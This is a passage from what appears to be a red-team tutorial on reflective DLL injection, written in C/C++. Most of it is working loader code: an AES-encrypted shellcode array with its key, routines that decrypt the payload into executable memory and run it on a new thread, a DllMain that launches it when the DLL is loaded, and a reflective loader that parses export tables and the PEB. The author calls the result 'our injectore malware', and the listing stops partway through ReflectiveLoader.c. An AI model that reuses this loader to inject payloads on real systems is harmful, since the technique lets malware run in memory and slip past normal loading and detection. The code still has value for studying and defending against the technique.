unsigned char payload[] = { 0x7, 0x26, 0xd8, 0x8e, 0xb8, 0x78, 0xf9, 0x78, 0x84, 0x3c, 0x0, 0xa8, 0x5b, 0xa, 0x6a, 0xe2, 0xc9, 0x6d, 0x63, 0x8b, 0x87, 0x9e, 0x80, 0xb5, 0x16, 0xc5, 0xa5, 0xc7, 0xda, 0x44, 0x1d, 0x2d, 0xae, 0x48, 0x2c, 0xb1, 0xc8, 0x92, 0xf5, 0xbc, 0xf5, 0xb8, 0xe6, 0xda, 0x9, 0x3c, 0x85, 0x9e, 0xac, 0xfa, 0x4c, 0xce, 0xa4, 0x35, 0x0, 0xdc, 0x50, 0x6b, 0x36, 0xb7, 0x5c, 0xfb, 0x12, 0xf1, 0x52, 0x46, 0x5b, 0x15, 0x3, 0x7d, 0x7b, 0x4e, 0x8d, 0x71, 0xf5, 0x7c, 0x43, 0x87, 0x46, 0x54, 0x64, 0xf9, 0x75, 0xab, 0x65, 0xb0, 0xbf, 0x9b, 0xc3, 0xd2, 0x3a, 0x73, 0xfc, 0xe3, 0x35, 0xe1, 0x23, 0x5d, 0x29, 0xe5, 0x10, 0xe2, 0x72, 0xef, 0xa9, 0x25, 0xa, 0x5a, 0x1f, 0x8e, 0xf7, 0xa5, 0xd8, 0x8b, 0x16, 0x33, 0xcf, 0x91, 0xde, 0x17, 0x79, 0x6, 0x5f, 0xd9, 0x61, 0x2c, 0x6a, 0x90, 0x7a, 0xaf, 0xb3, 0xdd, 0x1e, 0x0, 0xe3, 0xf3, 0x70, 0x5, 0x7a, 0x6d, 0x42, 0x7f, 0xb2, 0xc, 0xe0, 0xa2, 0xce, 0x3b, 0x1f, 0xa3, 0xf5, 0xcf, 0xa9, 0x1f, 0x3a, 0xf7, 0xab, 0x3, 0xf3, 0x36, 0xf2, 0x86, 0xf4, 0x4f, 0x20, 0x4a, 0xaa, 0x6a, 0x1c, 0xae, 0xe0, 0x13, 0x29, 0xe3, 0xb7, 0x84, 0xd8, 0x9b, 0xbc, 0x2f, 0xa6, 0xb2, 0x5f, 0xdc, 0x3b, 0x1, 0x70, 0x16, 0x61, 0x4c, 0xee, 0x42, 0x69, 0xf6, 0x1, 0x87, 0x76, 0x2f, 0x84, 0x14, 0x38, 0xd3, 0xa6, 0xe0, 0x25, 0x57, 0xa0, 0x7e, 0x4c, 0x1c, 0x6, 0xf, 0xae, 0x29, 0x92, 0x10, 0x3f, 0x5a, 0xff, 0x1d, 0x57, 0x67, 0x18, 0xba, 0x67, 0xb1, 0x7d, 0x9a, 0x6f, 0x48, 0xa3, 0x23, 0x23, 0x12, 0x62, 0xe3, 0x8b, 0xfb, 0x3e, 0x63, 0x9, 0xd0, 0x1d, 0xf8, 0xb0, 0xf6, 0x9c, 0x94, 0xd4, 0xb3, 0x2b, 0xfe, 0xe, 0xbb, 0x98, 0x65, 0xcf, 0x29, 0x39, 0xf8, 0x74, 0x3b, 0x9d, 0x24, 0xc2, 0xc, 0xa4, 0xdf, 0x7e, 0x4, 0xfd, 0xf9, 0x11, 0xc5, 0x36, 0xc6, 0xb5, 0x27, 0xd, 0x16, 0xa9, 0xe, 0xe3, 0x9, 0x65, 0xfb, 0xa5, 0xa3 };
unsigned char key[] = { 0xaf, 0x86, 0x80, 0xd4, 0x5e, 0xa3, 0xae, 0x79, 0xa9, 0x92, 0x38, 0xbe, 0x79, 0x8a, 0x9c, 0x41 };

void Go(void) {

    void* exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    unsigned int payload_len = sizeof(payload);

    // Allocate memory for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Decrypt payload
    AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

    // Copy payload to allocated buffer
    RtlMoveMemory(exec_mem, payload, payload_len);

    // Make the buffer executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    // If all good, launch the payload
    if (rv != 0) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }

}

extern "C" HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
        break;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Go, 0, 0, 0);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

Step 2: Locate the ReflectiveLoader in MainDLL

In this step we gonna first explain each sections of the source code and than i will provide all the source code in the finale step

1- So firstly we we need to determine the address of "ReflectiveLoader" function in our dll exported table and for that we use these bellow function form the source code of stephenfewer

/*
Why we Rva2Offset instead of using directly RVA address?
+ During execution, the operating system maps the PE file into the process's virtual memory and RVAs become relevant as memory addresses however when you'are dealing with the file itself (reading or modifiyinh the file on disk) we use file offset
+ RVA are used in the virtual memory space while file offsets directly indicate the position within the file
*/


//Rva2Offset: calculate the offset based on the Rva gived 
//dwRVA = VirtualAddress
DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
{
	WORD wIndex = 0;
	PIMAGE_SECTION_HEADER pSectionHeader = NULL;
	PIMAGE_NT_HEADERS pNtHeaders = NULL;

	pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); //NtHeader
	
	//section header
	pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
	
	/*
	 PointerToRawData field in the context of the PE file format indicates the file offset of the raw data of a section.
	 It is used by the operating system loader to locate where the actual data of a specific section begins within the file.
	*/
	
	if (dwRva < pSectionHeader[0].PointerToRawData) //compare the first offset of text section with dwRVa if it's bigger than means this value dont belong there cuz text section is the lower value
		return dwRva;

	for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++) //number of section header in the pe file
	{
		//compare dwRVA with each section address to find where is belong and by adding "SizeOfRawData" to ensure it's belong the range of address that has
		if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
			// ( dwRva - virtual address + added to the raw data's file offset ) = Pointing to the last address within the raw data of a section
			/* Why we should point to the last byte of section address ?
			+ retrieve or process the complete content of that section.
			+ Memory Mapping : the memory-mapped section typically includes all the bytes from the starting file offset (PointerToRawData) to the last byte (PointerToRawData + SizeOfRawData - 1). This ensures that the entire section is correctly mapped into memory.
			+ Boundary Checking : It ensures that you don't inadvertently go beyond the boundaries of the section's raw data.
			+ Address Calculations: 
			*/
			return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
	}

	return 0;
}

DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
	UINT_PTR uiBaseAddress = 0;
	UINT_PTR uiExportDir = 0;
	UINT_PTR uiNameArray = 0;
	UINT_PTR uiAddressArray = 0;
	UINT_PTR uiNameOrdinals = 0;
	DWORD dwCounter = 0;
#ifdef WIN_X64
	DWORD dwCompiledArch = 2;
#else
	// This will catch Win32 and WinRT.
	DWORD dwCompiledArch = 1;
#endif

	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

	// get the File Offset of the modules NT Header
	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

	// currenlty we can only process a PE file which is the same type as the one this fuction has  
	// been compiled as, due to various offset in the PE structures being defined at compile time.
	if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
	{
		if (dwCompiledArch != 1)
			return 0;
	}
	else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
	{
		if (dwCompiledArch != 2)
			return 0;
	}
	else
	{
		return 0;
	}

	// uiNameArray = the address of the modules export directory entry
	uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

	// get the File Offset of the export directory
	uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);

	// get the File Offset for the array of name pointers
	uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);

	// get the File Offset for the array of addresses
	uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

	// get the File Offset for the array of name ordinals
	uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);

	// get a counter for the number of exported functions...
	dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;

	// loop through all the exported functions to find the ReflectiveLoader
	while (dwCounter--)
	{
		char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));

		if (strstr(cpExportedFunctionName, REFLDR_NAME) != NULL)
		{
			// get the File Offset for the array of addresses
			uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

			// use the functions name ordinal as an index into the array of name pointers
			uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

			// return the File Offset to the ReflectiveLoader() functions code...
			return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress);
		}
		// get the next exported function name
		uiNameArray += sizeof(DWORD);

		// get the next exported function name ordinal
		uiNameOrdinals += sizeof(WORD);
	}

	return 0;
}

2- Than we need to allocate a memory for our dll shellcode and before execute it we need to resolve and map addresses with the function "ReflectiveLoader" and in the last step execute our dll shellcode

//int main(void){
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

	void* exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	DWORD RefLdrOffset = 0;
	unsigned int payload_len = sizeof(payload);

	// Allocate memory for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Decrypt payload
	AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

	// Copy payload to allocated buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make the buffer executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
	
	//Get the offset address of the function
	RefLdrOffset = GetReflectiveLoaderOffset(payload);
	// If all good, launch the payload
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)((ULONG_PTR)exec_mem + RefLdrOffset), 0, 0, 0);
		Sleep(5000); // give ReflectiveLoader time to perform the parsing and loading the DLL into memory.
		WaitForSingleObject(th, INFINITE);
	}

}

POC - 2 - finale

This is the finale source code of using reflectiveLoader funnction to inject our dll into memroy

DllMain.dll

it's contain our calc shellcode which is encrypted in AES format, we include the "ReflectiveLoader.h" which contain the function "ReflectiveLoader" it's will be exported to be used in our injectore malware

/*

 Red Team Operator course code template
 Reflective DLL proxy template

 author: reenz0h (twitter: @SEKTOR7net)

*/
#include "ReflectiveLoader.h"
#include <windows.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return -1;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        return -1;
    }
    if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
        return -1;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        return -1;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
        return -1;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

    return 0;
}

// calc shellcode (exitThread) - 64-bit
unsigned char payload[] = { 0x7, 0x26, 0xd8, 0x8e, 0xb8, 0x78, 0xf9, 0x78, 0x84, 0x3c, 0x0, 0xa8, 0x5b, 0xa, 0x6a, 0xe2, 0xc9, 0x6d, 0x63, 0x8b, 0x87, 0x9e, 0x80, 0xb5, 0x16, 0xc5, 0xa5, 0xc7, 0xda, 0x44, 0x1d, 0x2d, 0xae, 0x48, 0x2c, 0xb1, 0xc8, 0x92, 0xf5, 0xbc, 0xf5, 0xb8, 0xe6, 0xda, 0x9, 0x3c, 0x85, 0x9e, 0xac, 0xfa, 0x4c, 0xce, 0xa4, 0x35, 0x0, 0xdc, 0x50, 0x6b, 0x36, 0xb7, 0x5c, 0xfb, 0x12, 0xf1, 0x52, 0x46, 0x5b, 0x15, 0x3, 0x7d, 0x7b, 0x4e, 0x8d, 0x71, 0xf5, 0x7c, 0x43, 0x87, 0x46, 0x54, 0x64, 0xf9, 0x75, 0xab, 0x65, 0xb0, 0xbf, 0x9b, 0xc3, 0xd2, 0x3a, 0x73, 0xfc, 0xe3, 0x35, 0xe1, 0x23, 0x5d, 0x29, 0xe5, 0x10, 0xe2, 0x72, 0xef, 0xa9, 0x25, 0xa, 0x5a, 0x1f, 0x8e, 0xf7, 0xa5, 0xd8, 0x8b, 0x16, 0x33, 0xcf, 0x91, 0xde, 0x17, 0x79, 0x6, 0x5f, 0xd9, 0x61, 0x2c, 0x6a, 0x90, 0x7a, 0xaf, 0xb3, 0xdd, 0x1e, 0x0, 0xe3, 0xf3, 0x70, 0x5, 0x7a, 0x6d, 0x42, 0x7f, 0xb2, 0xc, 0xe0, 0xa2, 0xce, 0x3b, 0x1f, 0xa3, 0xf5, 0xcf, 0xa9, 0x1f, 0x3a, 0xf7, 0xab, 0x3, 0xf3, 0x36, 0xf2, 0x86, 0xf4, 0x4f, 0x20, 0x4a, 0xaa, 0x6a, 0x1c, 0xae, 0xe0, 0x13, 0x29, 0xe3, 0xb7, 0x84, 0xd8, 0x9b, 0xbc, 0x2f, 0xa6, 0xb2, 0x5f, 0xdc, 0x3b, 0x1, 0x70, 0x16, 0x61, 0x4c, 0xee, 0x42, 0x69, 0xf6, 0x1, 0x87, 0x76, 0x2f, 0x84, 0x14, 0x38, 0xd3, 0xa6, 0xe0, 0x25, 0x57, 0xa0, 0x7e, 0x4c, 0x1c, 0x6, 0xf, 0xae, 0x29, 0x92, 0x10, 0x3f, 0x5a, 0xff, 0x1d, 0x57, 0x67, 0x18, 0xba, 0x67, 0xb1, 0x7d, 0x9a, 0x6f, 0x48, 0xa3, 0x23, 0x23, 0x12, 0x62, 0xe3, 0x8b, 0xfb, 0x3e, 0x63, 0x9, 0xd0, 0x1d, 0xf8, 0xb0, 0xf6, 0x9c, 0x94, 0xd4, 0xb3, 0x2b, 0xfe, 0xe, 0xbb, 0x98, 0x65, 0xcf, 0x29, 0x39, 0xf8, 0x74, 0x3b, 0x9d, 0x24, 0xc2, 0xc, 0xa4, 0xdf, 0x7e, 0x4, 0xfd, 0xf9, 0x11, 0xc5, 0x36, 0xc6, 0xb5, 0x27, 0xd, 0x16, 0xa9, 0xe, 0xe3, 0x9, 0x65, 0xfb, 0xa5, 0xa3 };
unsigned char key[] = { 0xaf, 0x86, 0x80, 0xd4, 0x5e, 0xa3, 0xae, 0x79, 0xa9, 0x92, 0x38, 0xbe, 0x79, 0x8a, 0x9c, 0x41 };

void Go(void) {

    void* exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    unsigned int payload_len = sizeof(payload);

    // Allocate memory for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Decrypt payload
    AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

    // Copy payload to allocated buffer
    RtlMoveMemory(exec_mem, payload, payload_len);

    // Make the buffer executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    // If all good, launch the payload
    if (rv != 0) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }

}

extern "C" HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
        break;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Go, 0, 0, 0);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

ReflectiveLoader.h

#pragma once
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H

#define WIN_X64
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN

//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>

#include "ReflectiveDLLInjection.h"

typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);

#define KERNEL32DLL_HASH				0x6A4ABC5B
#define NTDLLDLL_HASH					0x3CFA685D

#define LOADLIBRARYA_HASH				0xEC0E4E8E
#define GETPROCADDRESS_HASH				0x7C0DFCAA
#define VIRTUALALLOC_HASH				0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH	0x534C0AB8

#define IMAGE_REL_BASED_ARM_MOV32A		5
#define IMAGE_REL_BASED_ARM_MOV32T		7

#define ARM_MOV_MASK					(DWORD)(0xFBF08000)
#define ARM_MOV_MASK2					(DWORD)(0xFBF08F00)
#define ARM_MOVW						0xF2400000
#define ARM_MOVT						0xF2C00000

#define HASH_KEY						13
//===============================================================================================//
#pragma intrinsic( _rotr )

__forceinline DWORD ror(DWORD d)
{
	return _rotr(d, HASH_KEY);
}

__forceinline DWORD hash(char* c)
{
	register DWORD h = 0;
	do
	{
		h = ror(h);
		h += *c;
	} while (*++c);

	return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) ) 
typedef struct _LDR_DATA_TABLE_ENTRY
{
	//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STR FullDllName;
	UNICODE_STR BaseDllName;
	ULONG Flags;
	SHORT LoadCount;
	SHORT TlsIndex;
	LIST_ENTRY HashTableEntry;
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
	DWORD dwLength;
	DWORD dwInitialized;
	LPVOID lpSsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
	struct _PEB_FREE_BLOCK* pNext;
	DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;

// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
	BYTE bInheritedAddressSpace;
	BYTE bReadImageFileExecOptions;
	BYTE bBeingDebugged;
	BYTE bSpareBool;
	LPVOID lpMutant;
	LPVOID lpImageBaseAddress;
	PPEB_LDR_DATA pLdr;
	LPVOID lpProcessParameters;
	LPVOID lpSubSystemData;
	LPVOID lpProcessHeap;
	PRTL_CRITICAL_SECTION pFastPebLock;
	LPVOID lpFastPebLockRoutine;
	LPVOID lpFastPebUnlockRoutine;
	DWORD dwEnvironmentUpdateCount;
	LPVOID lpKernelCallbackTable;
	DWORD dwSystemReserved;
	DWORD dwAtlThunkSListPtr32;
	PPEB_FREE_BLOCK pFreeList;
	DWORD dwTlsExpansionCounter;
	LPVOID lpTlsBitmap;
	DWORD dwTlsBitmapBits[2];
	LPVOID lpReadOnlySharedMemoryBase;
	LPVOID lpReadOnlySharedMemoryHeap;
	LPVOID lpReadOnlyStaticServerData;
	LPVOID lpAnsiCodePageData;
	LPVOID lpOemCodePageData;
	LPVOID lpUnicodeCaseTableData;
	DWORD dwNumberOfProcessors;
	DWORD dwNtGlobalFlag;
	LARGE_INTEGER liCriticalSectionTimeout;
	DWORD dwHeapSegmentReserve;
	DWORD dwHeapSegmentCommit;
	DWORD dwHeapDeCommitTotalFreeThreshold;
	DWORD dwHeapDeCommitFreeBlockThreshold;
	DWORD dwNumberOfHeaps;
	DWORD dwMaximumNumberOfHeaps;
	LPVOID lpProcessHeaps;
	LPVOID lpGdiSharedHandleTable;
	LPVOID lpProcessStarterHelper;
	DWORD dwGdiDCAttributeList;
	LPVOID lpLoaderLock;
	DWORD dwOSMajorVersion;
	DWORD dwOSMinorVersion;
	WORD wOSBuildNumber;
	WORD wOSCSDVersion;
	DWORD dwOSPlatformId;
	DWORD dwImageSubsystem;
	DWORD dwImageSubsystemMajorVersion;
	DWORD dwImageSubsystemMinorVersion;
	DWORD dwImageProcessAffinityMask;
	DWORD dwGdiHandleBuffer[34];
	LPVOID lpPostProcessInitRoutine;
	LPVOID lpTlsExpansionBitmap;
	DWORD dwTlsExpansionBitmapBits[32];
	DWORD dwSessionId;
	ULARGE_INTEGER liAppCompatFlags;
	ULARGE_INTEGER liAppCompatFlagsUser;
	LPVOID lppShimData;
	LPVOID lpAppCompatInfo;
	UNICODE_STR usCSDVersion;
	LPVOID lpActivationContextData;
	LPVOID lpProcessAssemblyStorageMap;
	LPVOID lpSystemDefaultActivationContextData;
	LPVOID lpSystemAssemblyStorageMap;
	DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;

typedef struct
{
	WORD	offset : 12;
	WORD	type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

ReflectiveDLLInjection.h

This is header contain defenition of reflectiveLoader function and also DllMain and other fromat type we will need later

// Some code
#pragma once

//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>


#define DLL_QUERY_HMODULE		6

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);

#define DLLEXPORT   __declspec( dllexport ) 

//===============================================================================================//
#endif
//===============================================================================================//

ReflectiveLoader.c

//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;

#define REFLDR_NAME ReflectiveLoader

//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally 
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//

// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,  
//         otherwise the DllMain at the end of this file will be used.

// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
//         otherwise it is assumed you are calling the ReflectiveLoader via a stub.

// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI REFLDR_NAME(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI REFLDR_NAME(VOID)
#endif
{
	// the functions we need
	LOADLIBRARYA pLoadLibraryA = NULL;
	GETPROCADDRESS pGetProcAddress = NULL;
	VIRTUALALLOC pVirtualAlloc = NULL;
	NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;

	USHORT usCounter;

	// the initial location of this image in memory
	ULONG_PTR uiLibraryAddress;
	// the kernels base address and later this images newly loaded base address
	ULONG_PTR uiBaseAddress;

	// variables for processing the kernels export table
	ULONG_PTR uiAddressArray;
	ULONG_PTR uiNameArray;
	ULONG_PTR uiExportDir;
